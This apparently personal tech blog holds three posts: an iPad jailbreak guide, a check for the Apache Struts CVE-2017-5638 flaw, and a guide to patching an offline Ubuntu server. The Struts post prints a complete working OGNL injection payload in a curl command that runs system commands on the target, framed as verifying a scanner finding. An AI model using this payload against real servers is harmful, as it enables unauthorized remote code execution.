iPad mini 1 ios 9.3.5 Phoenix Jailbreak

Enviroment:
1. iPad mini 1: A1432; IOS version 9.3.5
2. Kali Linux 2017.1 (64bit)

Steps:
1. Download Cydia Impactor from http://www.cydiaimpactor.com/ and unzip it. what I used was Linux 64 bit version. (Pic01)

2. Donwload the IPA file Phoenix3.ipa from https://phoenixpwn.com/download.php and put it to the unzip folder (Impactor64_0.9.41). (pic02)

3. Check the hash of the IPA file. It should be "616ef9da4796ae7d490fb7b0e31cd85bb48e2732d2436c7710e79716e2b80e61" (pic03)

4. Connect the iPad mini 1 to Kali Linux.You should see the iPad icon on the desktop. (pic04)

5. Double click "Impactor". The device should be loaded automatically (pic05)

6. Click "Device"->"install Package..." (pic06)

7. Select "Phoenix3.ipa" and click "Open" (pic07)

8. Enter the apple id and password (pic08)

9. The installation will start. (pic09)

10. if you get an error "Provision.cpp:81, ios/submitDevelopmentCSR = 7460 You already have acurrent iOS Development certificate or a pending certificate request"(pic10), then click "xcode"->"revoke certificate" (pic10-2)

11. After the installation is done, you should get the Phoenix icon on your iPad.(pic11)

12. Go to "Settings > General > Device Management" and trust the certificate. (pic12)

13. Run the app and tap on "Prepare For Jailbreak". Following the screen instruction to install Cydia. (pic13)

14. Now you can run Cydia. (pic14)

Please note:
1. Whenever you reboot, open the app again and tap on "Kickstart Jailbreak".
2. Whenever the app expires, install it again with Cydia Impactor.

References:
1. https://phoenixpwn.com/

How to verify CVE-2017-5638 Apache Struts Jakarta Multipart Parser RCE

1.       Nessus Description

The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the Jakarta Multipart parser due to improper handling of the Content-Type header. An unauthenticated, remote attacker can exploit this, via a specially crafted Content-Type header value in the HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.

2.       Example of the vulnerable link

1) https://x.x.x.x:8443/service/login.action.

3.       Verification Steps

1)      Below command shows the result of ifconfig command on the remote host:

curl --header "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','ipconfig','/all'}:{'bash','-c','ifconfig'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://x.x.x.x:8443/service/login.action  --insecure

           

4.       Metasploit module

5.       Recommendation

1)      Upgrade to Apache Struts version 2.3.32 / 2.5.10.1 or later.

2)      Alternatively, apply the workaround referenced in the vendor advisory.

6.       References:

1)     https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1

2)     https://cwiki.apache.org/confluence/display/WW/S2-045

3)     http://www.securityfocus.com/bid/96729

4)     http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5638

5)     https://www.rapid7.com/db/modules/exploit/multi/http/struts2_content_type_ognl

Offline Update/Upgrade Ubuntu Server 16.04.2

Background:

The Ubuntu server is in the restricted zone that doesn’t have Internet access. It was built from image “ubuntu-16.04.2-server-amd64.iso” (http://releases.ubuntu.com/16.04.2/). Nessus Scan showed it has 2 critical, 12 high, 3 medium and 1 low risk vulnerabilities.

It needs to be patched and pass the Nessus Scan. Google “offline ubuntu update” directed me to these Links: https://help.ubuntu.com/community/AptGet/Offline and https://wiki.ubuntu.com/OfflineUpdateSpec). However, I tried all the methods that the document mentioned, for some reasons they didn’t work for me:

1. Synaptic and Keryx needs GUI and Ubuntu server doesn’t have it by default.
2. The Tool apt-offline needs to be installed in the offline server in order to use it. This is tricky because the offline server doesn’t have internet to apt-get install it.
3. Not sure why but I couldn’t get apt-medium working on the Virtual Machine that I used to test the offline upgrade. It didn’t download any packages.

Solution:

After some researches, the issue can be solved by a few command lines. The solution is based on below facts:

1. Ubuntu saves all the packages in folder /var/cache/apt/archives and the list in /var/lib/apt/lists after update/upgrade.
2. The package index is saved in /etc/apt/sources.list file and in the /etc/apt/sources.list.d directory.
3. Offline installation can use command “sudo dpkg -i “ following by “sudo apt-get install -f”

Requirement for Test Environment:

1. Local Ubuntu Server 16.04.2 LTS without Internet Access.
2. Remote machine that has Vmware or Virtual box and Internet access.
3. Ubuntu Server 16.04.2 LTS image
4. A USB key or a blank CD.

Steps:

1. Install an Ubuntu Server 16.04.2 LTS virtual machine on VMware or Virtual Box. 

2. (optional) Run command “sudo /usr/lib/update-notifier/apt-check” to check the available updates. The result is x;y (x=packages can be updated. y=security updates)

 

3. Run below commands to patch the Ubuntu VM:

               sudo apt-get update

               sudo apt-get upgrade

               sudo apt-get dist-upgrade

4. (optional) you can run command “sudo /usr/lib/update-notifier/apt-check” to check the available updates again, it should be “0;0”.

5. Run below commands to create an offline repository.

              mkdir -p /tmp/offline/var/cache/apt/archives

              mkdir -p /tmp/offline/var/lib/apt/lists

              mkdir -p /tmp/offline/etc/apt

              mkdir -p /tmp/offline/etc/apt/sources.list.d

              sudo cp /var/cache/apt/archives/*.deb  /tmp/offline/var/cache/apt/archives

              # Might get warning message: cp: omitting directory '/var/lib/apt/lists/partial'

              # It can be ignored. 

              sudo cp /var/lib/apt/lists/*  /tmp/offline/var/lib/apt/lists

              sudo cp /etc/apt/sources.list /tmp/offline/etc/apt

              sudo cp -r /etc/apt/sources.list.d /tmp/offline/etc/apt/

              # Remove file /tmp/offline/var/lib/apt/lists/lock since it is no needed. 

              sudo rm -f /tmp/offline/var/lib/apt/lists/lock

 

6. Copy /tmp/offline to a USB key or use mkisofs to generate an ISO file

 

7. Connect the USB key to the local Ubuntu Server that doesn’t have Internet. Mount the USB key and copy the offline folder to /tmp folder.

               sudo mkdir -p /mnt/usb

               sudo mount /dev/sdb1 /mnt/usb

               sudo cp -rf /mnt/usb/offline /tmp

 

8. Run below commands to build the repository. 

               sudo cp -f /tmp/offline/var/cache/apt/archives/* /var/cache/apt/archives/

               sudo cp -f /tmp/offline/var/lib/apt/lists/* /var/lib/apt/lists/

               sudo cp -f /tmp/offline/etc/apt/sources.list /etc/apt/sources.list

               sudo cp -f /tmp/offline/etc/apt/sources.list.d/* /etc/apt/sources.list.d/*

9. Run below commands to patch the server:

               cd /var/cache/apt/archives/

               sudo dpkg -i *.deb

               sudo apt-get install -f -y

 

10. After the patch, the Nessus scan showed clean:

 

Note:

Above steps were tested on Ubuntu Server 16.04.2 LTS. The other version of Ubuntu should be working the same way. But it is not guaranty.